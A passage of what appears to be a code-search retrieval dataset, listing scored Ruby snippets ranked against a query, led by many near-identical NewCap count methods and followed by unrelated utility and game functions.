"text": "def new_caps_count_gt_100\n NewCap.all(:seq_id => self.seq_id, :greater_than_100_away => true).count\n end",
"title": ""
},
{
"docid": "7483165263ce04f7b8262a1406f19f46",
"score": "0.85059446",
"text": "def new_caps_count_gt_200\n NewCap.all(:seq_id => self.seq_id, :greater_than_200_away => true).count\n end",
"title": ""
},
{
"docid": "577bb53f24158f9d8109949c794e3e36",
"score": "0.8463346",
"text": "def new_caps_count_gt_700\n NewCap.all(:seq_id => self.seq_id, :greater_than_700_away => true).count\n end",
"title": ""
},
{
"docid": "89b25a68cee29e5a717ea67f9d1aaf4f",
"score": "0.8442856",
"text": "def new_caps_count_gt_50\n NewCap.all(:seq_id => self.seq_id, :greater_than_50_away => true).count\n end",
"title": ""
},
{
"docid": "8872933c8d988764e8e4dd2ee4e38e51",
"score": "0.8425735",
"text": "def new_caps_count_gt_2000\n NewCap.all(:seq_id => self.seq_id, :greater_than_2000_away => true).count\n end",
"title": ""
},
{
"docid": "fc5b0920fc310781b880363efd82a347",
"score": "0.83919334",
"text": "def new_caps_count_gt_2100\n NewCap.all(:seq_id => self.seq_id, :greater_than_2100_away => true).count\n end",
"title": ""
},
{
"docid": "bb1c8b12a97dea65a48e80128df7dee3",
"score": "0.83913875",
"text": "def new_caps_count_gt_600\n NewCap.all(:seq_id => self.seq_id, :greater_than_600_away => true).count\n end",
"title": ""
},
{
"docid": "af08b992a70706665b337884c1d17bf6",
"score": "0.83863395",
"text": "def new_caps_count_gt_500\n NewCap.all(:seq_id => self.seq_id, :greater_than_500_away => true).count\n end",
"title": ""
},
{
"docid": "79e4250241de6e581e702b5895e9bdb7",
"score": "0.83799976",
"text": "def new_caps_count_gt_2300\n NewCap.all(:seq_id => self.seq_id, :greater_than_2300_away => true).count\n end",
"title": ""
},
{
"docid": "ed99845b36ca0088983142595d172c43",
"score": "0.8332572",
"text": "def new_caps_count_gt_2500\n NewCap.all(:seq_id => self.seq_id, :greater_than_2500_away => true).count\n end",
"title": ""
},
{
"docid": "292d987c32d2cfe042116985a12df4c5",
"score": "0.83187616",
"text": "def new_caps_count_gt_300\n NewCap.all(:seq_id => self.seq_id, :greater_than_300_away => true).count\n end",
"title": ""
},
{
"docid": "ed4036a3135c122b018c7b1b0db469a9",
"score": "0.8306817",
"text": "def new_caps_count_gt_800\n NewCap.all(:seq_id => self.seq_id, :greater_than_800_away => true).count\n end",
"title": ""
},
{
"docid": "5a72c8b3b2513b5b6a20a7aa884a553a",
"score": "0.82964224",
"text": "def new_caps_count_gt_900\n NewCap.all(:seq_id => self.seq_id, :greater_than_900_away => true).count\n end",
"title": ""
},
{
"docid": "ebd0c8abf71abcda2438bb8479bfd59a",
"score": "0.82556546",
"text": "def new_caps_count_gt_400\n NewCap.all(:seq_id => self.seq_id, :greater_than_400_away => true).count\n end",
"title": ""
},
{
"docid": "d7f6974708f255301276596f7f339938",
"score": "0.8225054",
"text": "def new_caps_count_gt_1500\n NewCap.all(:seq_id => self.seq_id, :greater_than_1500_away => true).count\n end",
"title": ""
},
{
"docid": "9897aebddbcb31effc8526cba4333476",
"score": "0.8199431",
"text": "def new_caps_count_gt_1400\n NewCap.all(:seq_id => self.seq_id, :greater_than_1400_away => true).count\n end",
"title": ""
},
{
"docid": "378d8e1fea54f505b097c3cf4c2e8d17",
"score": "0.8190503",
"text": "def new_caps_count_gt_1200\n NewCap.all(:seq_id => self.seq_id, :greater_than_1200_away => true).count\n end",
"title": ""
},
{
"docid": "3ce9dea93354e4eddd69535e031490a0",
"score": "0.814712",
"text": "def new_caps_count_gt_twenty\n NewCap.all(:seq_id => self.seq_id, :greater_than_twenty_away => true).count\n end",
"title": ""
},
{
"docid": "64864f6b0d3137094f1afec0a378dfa1",
"score": "0.81253237",
"text": "def new_caps_count_gt_1600\n NewCap.all(:seq_id => self.seq_id, :greater_than_1600_away => true).count\n end",
"title": ""
},
{
"docid": "47bf0fa18ec321d8812f51e239fea047",
"score": "0.8112878",
"text": "def new_caps_count_gt_2200\n NewCap.all(:seq_id => self.seq_id, :greater_than_2200_away => true).count\n end",
"title": ""
},
{
"docid": "c56bde9c913fa6b4c6693a4b24aa1b94",
"score": "0.809497",
"text": "def new_caps_count_gt_1700\n NewCap.all(:seq_id => self.seq_id, :greater_than_1700_away => true).count\n end",
"title": ""
},
{
"docid": "7280bdc33bf820ba3cc1e8773582224f",
"score": "0.8080936",
"text": "def new_caps_count_gt_1300\n NewCap.all(:seq_id => self.seq_id, :greater_than_1300_away => true).count\n end",
"title": ""
},
{
"docid": "9608d75eded339ba5125ed059b3a934d",
"score": "0.80727917",
"text": "def new_caps_count_gt_2400\n NewCap.all(:seq_id => self.seq_id, :greater_than_2400_away => true).count\n end",
"title": ""
},
{
"docid": "72210e3e1d4fb1c7aa2601ca4fa62e22",
"score": "0.79756457",
"text": "def new_caps_count_gt_1900\n NewCap.all(:seq_id => self.seq_id, :greater_than_1900_away => true).count\n end",
"title": ""
},
{
"docid": "bd13155ad02ffe801e792ae883d867ca",
"score": "0.792448",
"text": "def new_caps_count_gt_1800\n NewCap.all(:seq_id => self.seq_id, :greater_than_1800_away => true).count\n end",
"title": ""
},
{
"docid": "68af86504633f67ce26387fa265ad48b",
"score": "0.7380612",
"text": "def new_caps_count\n NewCap.all(:seq_id => self.seq_id).count\n end",
"title": ""
},
{
"docid": "89b10c0b84d5d413d2988613b5c2efef",
"score": "0.55706644",
"text": "def ab_counts(_experiment, _alternative)\n raise \"Not implemented\"\n end",
"title": ""
},
{
"docid": "b4bc170ab6cea76da2a7d1a67e98594e",
"score": "0.5545242",
"text": "def key_count\n $capitals.keys.length\nend",
"title": ""
},
{
"docid": "ae5aff3f2c93e1dc864292648c31fd1d",
"score": "0.54964286",
"text": "def remaining_slots\n @count = 0\n self.booked_customers.each do |booked_customer|\n @count += booked_customer.number_students.to_i\n end\n return self.cap - @count\n\n end",
"title": ""
},
{
"docid": "d279e502a2dc659598dec453420dc5f5",
"score": "0.54086065",
"text": "def calc_critical_count(user, target, initial_critical_count)\n return 0 if NO_CRITICAL_ABILITIES.include?(target.ability_db_symbol)\n critical_count = initial_critical_count\n critical_count += 2 if user.focus_energy?\n critical_count += 1 if user.ability_db_symbol == :super_luck\n critical_count += 1 if calc_critical_count_item(user)\n return critical_count\n end",
"title": ""
},
{
"docid": "03ad6cfc4f0b5fc0bd77de0dae444f4b",
"score": "0.53985494",
"text": "def strain_threshold\n strain_th = self.willpower\n if self.race && self.race.strain_threshold\n strain_th += self.race.strain_threshold\n end\n # Then increase based on selected talents.\n self.talent_alterations.each do |talent_id, stat|\n stat.each do |type, value|\n if type == :strain\n strain_th += value['count']\n end\n end\n end\n strain_th\n end",
"title": ""
},
{
"docid": "04597f595472a0ff50d0a878c23a58f8",
"score": "0.5299077",
"text": "def number_of_cases\n fee_quantity_for('BANOC') + 1\n end",
"title": ""
},
{
"docid": "6142a4d204bfd944c2ed3c78a6ab1234",
"score": "0.52864856",
"text": "def basic_count(amino_acid_sequence)\n count = 0\n comp = amino_acid_sequence.composition\n BASIC_AMINO_ACIDS.each do |basic|\n if comp[basic]\n count += comp[basic]\n end\n end\n return count\n end",
"title": ""
},
{
"docid": "bf13494812a7bedf7e197dcd37b26bf5",
"score": "0.5281391",
"text": "def value_count\n $capitals.values.length\nend",
"title": ""
},
{
"docid": "f0e07ce1539bf6b84f6d62ef392e76e1",
"score": "0.5278862",
"text": "def get_num_strokes(stroke_index, course_handicap)\n strokes = 0\n # loop until calc'd stroke_index is bigger than this person's handicap\n # Rails.logger.debug('stroke_index: ' + stroke_index.to_s)\n # Rails.logger.debug('course_handicap: ' + course_handicap.to_s)\n\n until stroke_index > course_handicap do\n if stroke_index <= course_handicap\n strokes += 1\n end\n # add 18 to stroke_index, if it's still smaller than the handicap, we will loop again\n stroke_index += 18\n end\n\n return strokes\n end",
"title": ""
},
{
"docid": "e0580680acc52428007fea64852543b4",
"score": "0.5257928",
"text": "def ks_for_game(game)\n atbats = game.atbats.select {|atbat| atbat.pitcher_id == gameday_id.to_i}\n k_atbats = atbats.select {|atbat| atbat.strike == 3} \n k_atbats.size\n end",
"title": ""
},
{
"docid": "f957c9eb6318c766771628f951b694a3",
"score": "0.5255459",
"text": "def perfect_test(limit)\n (0..15).each do |skill|\n gamecount = 0\n perfect_games = 0 \n until gamecount == limit\n newgame\n @players << skill\n reset_arrays\n playgame\n gamecount +=1 \n perfect_games += 1 if @game_scores[0][-1] == 300 \n end\n print skill, \"\\t\", gamecount, \"\\t\", perfect_games, \"\\n\"\n end\nend",
"title": ""
},
{
"docid": "60f777035a4493ac398bc578f27ba914",
"score": "0.52507013",
"text": "def ad_hoc_mac_count() 4 end",
"title": ""
},
{
"docid": "723ca33a7ccfa1fe3e40144ed0e27000",
"score": "0.5162462",
"text": "def get_num_covered patients, cover\n patients.keys.count { |pat| !(patients[pat]&cover).empty? }\nend",
"title": ""
},
{
"docid": "5075fcd380d048915f834811c15124ac",
"score": "0.5134802",
"text": "def calculate_score(hand_of_cards)\n card_values = hand_of_cards.map{|card_value| card_value[1]}\n total = 0 \n card_values.each do |card_value| \n if card_value == \"ACE\"\n total+= 11\n elsif card_value.to_i == 0 #For suits ie Jester, Queen\n total+= 10\n else \n total+= card_value.to_i\n end\n end \n\n#adjust for Aces\n card_values.select{|card| card == \"ACE\"}.count.times do \n total-=10 if total > 21\n end \n total\nend",
"title": ""
},
{
"docid": "1b489a49a0fc4985c456a14617c2a84f",
"score": "0.513406",
"text": "def acidic_count(amino_acid_sequence)\n count = 0\n comp = amino_acid_sequence.composition\n ACIDIC_AMINO_ACIDS.each do |acidic|\n if comp[acidic]\n count += comp[acidic]\n end\n end\n return count\n end",
"title": ""
},
{
"docid": "f13d3fd1965385724bf7785fa42f46b9",
"score": "0.51273763",
"text": "def cap\n securities.uniq.map(&:cap).sum\n end",
"title": ""
},
{
"docid": "11e9d1ba68f3037b2a485a3135cbeaa2",
"score": "0.50946593",
"text": "def compute_occupied_places\n application_letters.where(status: true).count\n end",
"title": ""
},
{
"docid": "2c27206166f6c08e5e04e4588107fa8a",
"score": "0.50858885",
"text": "def test_coded_chrs\n assert_equal 5, @mk.coded_chrs.count\n end",
"title": ""
},
{
"docid": "a356234004978b39f4c34d117f099aad",
"score": "0.5074464",
"text": "def count_ai_battler\n count = -1\n @battle_info.parties.each do |bank|\n count += bank.size\n end\n log_debug(\"Found #{count} AI\")\n return count\n end",
"title": ""
},
{
"docid": "ee60d028ee4f5890f8afa38c7ff9c9b4",
"score": "0.50734746",
"text": "def hypothesis2(countsXmajor) \n\tcriteria = 0\n\teuks = 0\n\teuks += 1 if countsXmajor['Sr'] >= 0.25\n\teuks += 1 if countsXmajor['Pl'] >= 0.25\n\teuks += 1 if countsXmajor['Op'] >= 0.25\n\teuks += 1 if countsXmajor['EE'] >= 0.25\n\teuks += 1 if countsXmajor['Am'] >= 0.25\n\teuks += 1 if countsXmajor['Ex'] >= 0.25\t\t\n\tcriteria += 1 if countsXmajor['Ba'] < 0.25 \n\tcriteria += 1 if countsXmajor['Za'] >= 0.25 \n\tcriteria += 1 if euks >= 5\n\tif criteria == 3\n\t\treturn 1\n\telse\n\t\treturn 0 \n\tend\nend",
"title": ""
},
{
"docid": "5e98b51b9fb6b3200858521db41a314c",
"score": "0.5071223",
"text": "def ability_count_hash(final_character)\n count_hash = Hash.new\n gifts = [ :command, :change, :illusion, :gutter_magic ]\n ranks = final_character.ranks\n gifts.each do |gift|\n private_rank = ranks.where(item: Rank.items[gift]).first.private_rank\n lowest_rank = final_character.character_system.ranks.where(item: Rank.items[gift]).maximum(:public_rank)\n basic_num = basic_abilities(private_rank, lowest_rank)\n int_num = int_abilities(private_rank, lowest_rank)\n adv_num = adv_abilities(private_rank, lowest_rank)\n count_hash[gift] = {:basic => basic_num, :intermediate => int_num, :advanced => adv_num}\n end\n count_hash\n end",
"title": ""
},
{
"docid": "64601aac653ab2bb387b3662758e9f61",
"score": "0.50416976",
"text": "def cc_count\n stats = self.association_stats\n stats['cc_conditions'] + stats['cc_loops'] + stats['cc_questions'] +\n stats['cc_sequences'] + stats['cc_statements']\n end",
"title": ""
},
{
"docid": "6a2eef95e6c4553e8b6bb4fe631fb0ea",
"score": "0.50369483",
"text": "def hypothesis6(countsXmajor) \n\tcriteria = 0\n\teuks = 0\n\teuks += 1 if countsXmajor['Sr'] >= 0.25\n\teuks += 1 if countsXmajor['Pl'] >= 0.25\n\teuks += 1 if countsXmajor['Op'] >= 0.25\n\teuks += 1 if countsXmajor['EE'] >= 0.25\n\teuks += 1 if countsXmajor['Am'] >= 0.25\n\teuks += 1 if countsXmajor['Ex'] >= 0.25\t\n\tcriteria += 1 if countsXmajor['Ba'] < 0.25\n\tcriteria += 1 if countsXmajor['Za'] < 0.25\n\tcriteria += 1 if euks >= 5\n\tif criteria == 3\n\t\treturn 1\n\telse\n\t\treturn 0 \n\tend\nend",
"title": ""
},
{
"docid": "5fca74e0795b1df7cb210ec5db6934ad",
"score": "0.50028366",
"text": "def hypothesis3(countsXmajor) \n\tcriteria = 0\n\teuks = 0\n\teuks += 1 if countsXmajor['Sr'] >= 0.25\n\teuks += 1 if countsXmajor['Pl'] >= 0.25\n\teuks += 1 if countsXmajor['Op'] >= 0.25\n\teuks += 1 if countsXmajor['EE'] >= 0.25\n\teuks += 1 if countsXmajor['Am'] >= 0.25\n\teuks += 1 if countsXmajor['Ex'] >= 0.25\t\t\n\tcriteria += 1 if countsXmajor['Ba'] >= 0.25 \n\tcriteria += 1 if countsXmajor['Za'] < 0.25 \n\tcriteria += 1 if euks >= 5\n\tif criteria == 3\n\t\treturn 1\n\telse\n\t\treturn 0 \n\tend\nend",
"title": ""
},
{
"docid": "99cdbc437ae1af29a4aea56432d1f3dc",
"score": "0.5000363",
"text": "def num_of_seats_available\n self.movie.capacity > self.movie.seats_sold ? (self.movie.seats_sold += 1) : false\n self.movie.save\n end",
"title": ""
},
{
"docid": "d9bf851ce56e81c9ba1cf4dfddd96a7e",
"score": "0.4995841",
"text": "def threat_row_for_ai(board)\n defend_spaces = {}\n WINNING_COMBINATIONS.each { |threat| defend_spaces[threat] = 0 }\n WINNING_COMBINATIONS.each do |threat|\n threat.each do |is_x|\n defend_spaces[threat] += 1 if board[is_x] == PLAYER_MARKER\n if board[is_x] == COMPUTER_MARKER\n defend_spaces[threat] = 0\n break\n end\n end\n end\n defend_spaces\nend",
"title": ""
},
{
"docid": "e7c9cf99d5d1877c9141b9785829f37e",
"score": "0.49918762",
"text": "def get_optimum_hand_score(hand)\n total = 0\n hand.each do |card|\n total += get_card_value(card)\n end\n\n #Count the number of aces we have\n num_aces = (hand.select{|card| get_card_value(card) == 11}).length\n\n #Account fo aces\n while total > 21 && num_aces > 0 do\n total -= 10\n num_aces -= 1\n end\n return total\nend",
"title": ""
},
{
"docid": "2fb13f425f63021f47661d57683e140b",
"score": "0.49877492",
"text": "def line_count_experiment\n @letters_two.dump\n lines = @letters_two.xlate(@line_count_map)\n lines << @extra_digits\n lines.flatten!\n lines.dump('append')\n lines.chunk(2).to_i.collect { |d| d.to_s(5) }.dump(:from_base_5).to_i.to_letter\nend",
"title": ""
},
{
"docid": "26d7c2b7f9b3d3636dfe7e17d028b53a",
"score": "0.4981069",
"text": "def expected_grades\n metrics.count * course.students.count\n end",
"title": ""
},
{
"docid": "806542fce0ee295af59fdf88166f1600",
"score": "0.49774203",
"text": "def print_under_12_while(students)\n i = 0\n count = 0\n while i < students.length do\n if students[i][:name].length < 12\n puts \"#{i + 1}. #{students[i][:name]} (#{students[i][:cohort]} cohort)\"\n count += 1\n end\n i += 1\n end\n puts \"There are #{count} students with names less than 12 characters\"\nend",
"title": ""
},
{
"docid": "2a2e43c5fafbe8e4d0e44f84c38571bb",
"score": "0.4963928",
"text": "def who_often_takes\n\t \thash = Hash.new(0)\n\t\tres = @orders.each { |order| hash[order.name] += 1 } \n\t\thash.max{|a, b| a.length <=> b.length}\n\t end",
"title": ""
},
{
"docid": "dd4162c56e0483c6b901878b6c567d57",
"score": "0.49584466",
"text": "def greater_than_500_appearances(values) \n values.each do |appearances|\n if appearances[0].to_i > 500\n puts appearances[0]\n end\n end\nend",
"title": ""
},
{
"docid": "cdb8855606d7c39ce6b79cec041f33cb",
"score": "0.49570078",
"text": "def test_processor_input_field_count_for_claim_level_with_adjustment_amounts\n insurance_payment_eob = insurance_payment_eobs(:ins_pay_eob_for_gcbs_49)\n total_field_count = insurance_payment_eob.processor_input_field_count(facilities(:facility_1))\n if $IS_PARTNER_BAC\n assert_equal(total_field_count, 9)\n else\n assert_equal(total_field_count, 8)\n end\n end",
"title": ""
},
{
"docid": "e444cdc29907e22e939282a236b8d23a",
"score": "0.49524558",
"text": "def counts\n {\n \"A\" => 0,\n \"G\" => 0,\n \"C\" => 0,\n \"T\" => 0\n }\n end",
"title": ""
},
{
"docid": "8756a9825e11f01bd761add90ecf7b9a",
"score": "0.49496225",
"text": "def letter_counts(limit)\r\n\t# Define word for cooresponding number\r\n\tnumbers_to_words = {one: 1, two: 2, three: 3, four: 4, five: 5, six: 6, seven: 7, eight: 8, nine: 9, ten: 10,\r\n\t\t\t\t\t\t\t\t\t\t eleven: 11, twelve: 12, thirteen: 13, fourteen: 14, fifteen: 15, sixteen: 16, seventeen: 17, eighteen: 18,\r\n\t\t\t\t\t\t\t\t\t\t nineteen: 19, twenty: 20, thirty: 30, forty: 40, fifty: 50, sixty: 60, seventy: 70, eighty: 80, ninety: 90}\r\n\r\n\t#Variable to count total length\r\n\tcount = 0\r\n\t# Iterate through every number up to limit\r\n\t(1..limit).each do |num|\r\n\t\t# word variable will store word string for current number\r\n\t\tword = \"\"\r\n\t\t# Convert number to array so it is easier to manipulate\r\n\t\tnum_array = num.to_s.split(\"\")\r\n\r\n\t\t# If only one digit long, simply assign key to word\r\n\t\tif num_array.length == 1\r\n\t\t\tx = num_array.join.to_i\r\n\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\tend\r\n\r\n\t\t# If four digits long, add \"one thousand\" to number\r\n\t\tif num_array.length == 4\r\n\t\t\tnum_array.shift\r\n\t\t\tword << \"onethousand\"\r\n\r\n\t\t# If at least three digits, add relevant 1 through 9 key with \"hundred\"\r\n\t\telsif num_array.length >= 3\r\n\t\t\tx = num_array.shift.to_i\r\n\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\tword << \"hundred\"\r\n\t\t\t# If number continues after third digit, include \"and\"\r\n\t\t\tword << \"and\" unless num_array == [\"0\",\"0\"]\r\n\t\tend\r\n\r\n\t\t# If at least a two digit number,\r\n\t\tif num_array.length >= 2\r\n\t\t\t# If higher than 20, add relevant 'multiple of ten' key before single key\r\n\t\t\tif num_array.join.to_i > 20\r\n\t\t\t\tx = num_array.shift.to_i * 10\r\n\t\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\t\tx = num_array.join.to_i\r\n\t\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\t# If less than 20, simply assign key to word\r\n\t\t\telse\r\n\t\t\t\tx = num_array.join.to_i\r\n\t\t\t\tword << numbers_to_words.key(x).to_s\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\t# Output entire word and increase count by word length\r\n\t\tputs word\r\n\t\tcount += word.length\r\n\tend\r\n\tputs count\r\nend",
"title": ""
},
{
"docid": "f4de69fd2fdce8b6d2a9e9ca5dcba10a",
"score": "0.49484375",
"text": "def print_under_12\n count = 0\n @students.each_with_index do |student, index|\n if student[:name].length < 12\n puts \"#{index + 1}. #{student[:name]}\"\n print_student_data(student)\n count += 1\n end\n end\n puts \"We have #{count} #{count == 1 ? 'student' : 'students'} with less than 12 letters in their name\"\nend",
"title": ""
},
{
"docid": "224f7b65681991885f7a9ced4a06c085",
"score": "0.49419525",
"text": "def verb_count\n return self[:verbs_count] if self[:verbs_count]\n self[:verbs_count] = self.verb_coding_frame_microroles.pluck(:verb_id).uniq.size\n save\n self[:verbs_count]\n end",
"title": ""
},
{
"docid": "3dba328fafd5f586dba286def947ed42",
"score": "0.49196032",
"text": "def scores_length\n @scores_ordered_names.length\n end",
"title": ""
},
{
"docid": "89a721b6e7c5cd8dcc2761b3a6987bf3",
"score": "0.4918355",
"text": "def house_capacity\n has_reserved_seating? ? seatmap.seat_count : attributes['house_capacity']\n end",
"title": ""
},
{
"docid": "c8a0dc92fec58d20dfda2ffc661ef49e",
"score": "0.49048346",
"text": "def hypothesis1(countsXmajor) \n\tcriteria = 0\n\teuks = 0\n\teuks += 1 if countsXmajor['Sr'] >= 0.25\n\teuks += 1 if countsXmajor['Pl'] >= 0.25\n\teuks += 1 if countsXmajor['Op'] >= 0.25\n\teuks += 1 if countsXmajor['EE'] >= 0.25\n\teuks += 1 if countsXmajor['Am'] >= 0.25\n\teuks += 1 if countsXmajor['Ex'] >= 0.25\t\t\n\tcriteria += 1 if countsXmajor['Ba'] >= 0.25 \n\tcriteria += 1 if countsXmajor['Za'] >= 0.25 \n\tcriteria += 1 if euks >= 5\n\tif criteria == 3\n\t\treturn 1\n\telse\n\t\treturn 0 \n\tend\nend",
"title": ""
},
{
"docid": "ee1ba1ccedb983755bad167e6bc9b3a1",
"score": "0.4902551",
"text": "def big_shoe_rebounds\n shoe_size = 0\n rebounds = 0\n game_hash.each do | team, attributes |\n attributes[:players].each do | player_data | #array\n player_data.each do | player_name, detail |\n if detail[:shoe] > shoe_size\n\n shoe_size = detail[:shoe]\n rebounds = detail[:rebounds]\n end\n end\n end\n end\n rebounds\nend",
"title": ""
},
{
"docid": "053ec5d55c4d9cc928ea91da095edd81",
"score": "0.4898293",
"text": "def approx_count\n return count unless connection.respond_to?(:approx_count)\n a_count = connection.approx_count(self.table_name)\n return a_count unless a_count\n if a_count < 20000\n\tcount\n else\n\ta_count\n end\n end",
"title": ""
},
{
"docid": "c7d24eece755e96b95566f74a89d4b88",
"score": "0.48968977",
"text": "def spicy_count\n self.spicies.size\n end",
"title": ""
},
{
"docid": "c0e9ba31b67424336cea5bb91c56fe0c",
"score": "0.48958293",
"text": "def chromosome_count(genome_array)\n ccount = Hash.new(0)\n genome_array.each {|entry| ccount[entry[1]] += 1}\n ccount.each {|chromosome, count| puts \"Chromosome \" + chromosome.to_s + \" has \" + count.to_s + \" SNP data points\" }\n total = 0\n ccount.values.each {|count| total+= count }\n puts \"----\"\n puts total.to_s + \" total data points\"\n return ccount\nend",
"title": ""
},
{
"docid": "1df1ecd6be8f2719a209973baa9c60f2",
"score": "0.48953092",
"text": "def update_total_matches\n self.correct_matches = (maker.code.select.with_index { |v, i| v == breaker.guess[i] }).length\n self.matches = 4 - (maker.code - breaker.guess).length - correct_matches\n end",
"title": ""
},
{
"docid": "38a700fb7ae88836f092b956a4b69e03",
"score": "0.48950645",
"text": "def get_hand_score\n score = 0\n \n # Add up score of non-aces\n values = hand.map{|card| card.value}\n values.each do |val|\n if Array(2..10).include?(val.to_i)\n score += val.to_i\n elsif [\"J\", \"Q\", \"K\"].include?(val)\n score += 10\n end\n end\n\n # deal with the aces\n values.count(\"A\").times do\n if score + 11 <= 21\n score += 11\n else\n score += 1\n end\n end\n\n return score\n end",
"title": ""
},
{
"docid": "82bae9ab5447176fafcfe4446246c797",
"score": "0.48876798",
"text": "def standards_counts\n standards = {}\n standards.default(0)\n\n self.breaches.each do |b|\n standards[b.subject] += 1\n end\n return standards\n end",
"title": ""
},
{
"docid": "2de0285b0c3e4c6090e548f9b131be1d",
"score": "0.48875698",
"text": "def num_appearances\n @@all.select do |character|\n character.name == self.name\n end.length\n end",
"title": ""
},
{
"docid": "5e15f18a210260f61baaeccd46160d30",
"score": "0.48853227",
"text": "def convention_signed_applications_count\n internship_offer.internship_applications\n .select(&:convention_signed?)\n .count\n end",
"title": ""
},
{
"docid": "9d2f4c97df0fe3d2dfafda1cc70ba950",
"score": "0.4876493",
"text": "def suit_count(cards)\n\t\t[\"C\",\"D\",\"H\",\"S\"].collect{|ch| cards.count{|card| card.suite == ch}}\n\tend",
"title": ""
},
{
"docid": "a2e040721ceca388bf9d328c70a2e486",
"score": "0.48733303",
"text": "def per_participant_count\n\n per_participant.remap { |(k, v), h| h[k] = v.size }\n end",
"title": ""
},
{
"docid": "55db4e45d46a0807cfd18f6e65f50633",
"score": "0.4872813",
"text": "def permutation_threshold\n available_letters_permutations = ('A'..'Z').to_a.size**2\n available_numbers_permutations = (0..9).size**3\n available_letters_permutations * available_numbers_permutations\n end",
"title": ""
},
{
"docid": "688e8bebb0feec90ca1ee5664683b3e0",
"score": "0.48703343",
"text": "def give_letters(nbr_of)\n new_stock = []\n count_letters = []\n\n stock_letters.shuffle.each do |v|\n if count_letters.size < nbr_of\n count_letters << v\n else\n new_stock << v\n end\n end\n self.stock_letters = new_stock\n self.save\n return count_letters\n end",
"title": ""
},
{
"docid": "d043bb9ba0e60742c4ece98f31bc93be",
"score": "0.48656994",
"text": "def letters_to_count(min, max)\n count = 0\n (min..max).each do |number|\n count += to_words(number).downcase.count(\"a-z\")\n end\n count\nend",
"title": ""
},
{
"docid": "36afba33354ce1f00f8e3e096d76f2e4",
"score": "0.4837036",
"text": "def count_most_often(c)\n numbers = {}\n sorted = []\n (1..42).to_a.each do |e|\n conditions = \"(n1 = #{e} OR n2 = #{e} OR n3 = #{e} OR n4 = #{e} OR n5 = #{e})\"\n conditions += \" AND (no >= #{no-100})\" #if !n.nil?\n r = Result.count(:conditions => conditions,\n :order =>'no DESC')\n numbers[e] = r\n end\n numbers.sort_by{|k,v| v}.reverse.each{|e| sorted << e[0]}\n while numbers[c] == numbers[c+1]\n c += 1\n end\n #p sorted\n return sorted[0..c-1]\n end",
"title": ""
},
{
"docid": "442bd4ec49197236d04e70b81fd2ba3d",
"score": "0.4820882",
"text": "def over_capacity\n if @students.count >= @capacity\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "d88f42e2a4ff3155249f6d4f44c88742",
"score": "0.4812301",
"text": "def count_chars(n)\n return THOUSAND if n == 1_000\n total = 0\n if n >= 100\n total += ONES[n/100] + HUNDRED\n total += AND unless n%100 == 0\n n %= 100\n end\n (total += TEENS[n]; return total) if n > 10 && n < 20\n (total += TENS[n/10]; n %= 10) if n >= 10\n total += ONES[n] if n > 0\n total\nend",
"title": ""
},
{
"docid": "3c842db3a2442cad5692780380bf6c8f",
"score": "0.48084807",
"text": "def seventeen\n acc = 0\n for i in 1..1000\n acc = acc + count_letters(read_numbers(i))\n end\n\n return acc\nend",
"title": ""
},
{
"docid": "d14e770f0bf18192e26fb36d76bd06b9",
"score": "0.48083887",
"text": "def calc_hand_total(cards)\r\n total = 0\r\n numbers_only_array = cards.map {|g| g[0]}\r\n numbers_only_array.each do |h|\r\n if h == 'ace'\r\n total += 11\r\n elsif h.to_i == 0\r\n total += 10\r\n else\r\n total += h.to_i\r\n end\r\n end\r\n\r\n numbers_only_array.select {|k| k == \"ace\"}.count.times do\r\n total -= 10 if total > 21 \r\n end\r\n\r\n total\r\nend",
"title": ""
},
{
"docid": "746a29dac057664230cdbe537d7320fc",
"score": "0.48076463",
"text": "def counter_effect(hit_count)\n hit_count.chars.map { |i| (0..i.to_i).to_a }\nend",
"title": ""
},
{
"docid": "6772fa731552d5914fd935e2b109a7b6",
"score": "0.48051032",
"text": "def conform_attack_strength\n rng = rand(0.7..0.9)\n self.attack_strength = (attack_strength > 20 * rng) && new_record? ? (20 * rng).to_i : attack_strength\n end",
"title": ""
},
{
"docid": "054a9f8da68431caeaea3b0e9836bf43",
"score": "0.4793441",
"text": "def number_of_distinctions_offered(login=nil)\n\t\tcount_by_frbr(login, :presents, :how_many_distinctions?) \n\t end",
"title": ""
},
{
"docid": "c43aead328c26fdb2659d9e91e82ff96",
"score": "0.47914177",
"text": "def letter_count limit\n letters = Hash[0, 0, 1, 3, 2, 3, 6, 3, 10, 3, 4, 4, 5, 4, 9, 4, 3, 5, 7, 5, 8, 5, 40, 5, 50, 5, 60, 5, 11, 6, 12, 6, 20, 6, 30, 6, 80, 6, 90, 6, 15, 7, 16, 7, 70, 7, 13, 8, 14, 8, 18, 8, 19, 8, 17, 9]\n words = Hash[\"and\", 3, \"hundred\", 7, \"thousand\", 8]\n num = 1\n digits = []\n count = 0\n i = 0\n\n letters.each do |k, v|\n # puts \"#{k}, #{v}\"\n end\n\n # puts \"HASH: #{letters[13]}\"\n\n\n while num <= limit\n count_for_word = 0\n\n if num > 9\n digits = num.to_s.reverse.split(//)\n \n # puts \"DIGITS[0]: #{digits[0]}, #{i}\"\n \n if digits[1] == \"1\"\n count_for_word = letters[[digits[0], digits[1]].join.reverse.to_i]\n\n else\n count_for_word = letters[digits[0].to_i] +\n letters[digits[1].to_i * 10]\n end\n count_for_word += letters[digits.fetch(2, 0).to_i] +\n letters[digits.fetch(3, 0).to_i]\n\n if digits[2] != nil && digits[2] != \"0\"\n # if letters[[digits[0], digits[1]].join.reverse.to_i] != 0 \n if [digits[0], digits[1]].join.reverse != \"00\" \n puts count_for_word\n\n count_for_word += words[\"hundred\"] + words[\"and\"]\n else\n count_for_word += words[\"hundred\"]\n end\n end\n\n puts count_for_word\n\n if digits[3] != nil\n count_for_word += words[\"thousand\"]\n end\n\n else\n count_for_word = letters[num].to_i\n end\n\n count += count_for_word\n num += 1\n end\n\n count \nend",
"title": ""
},
{
"docid": "7e85da7dc140128d8c601a01be5fe220",
"score": "0.47806755",
"text": "def count_cut(value)\n\t\t# cuts 'value' cards from the top of the deck and inserts them\n\t\t# right before the last element\n\t\tvalue.times do\n\t\t\tcard = @deck_of_cards.delete_at(0)\n\t\t\t@deck_of_cards.insert(-2, card)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "415dfd831fb381052f9ed10c0c24d71b",
"score": "0.4780515",
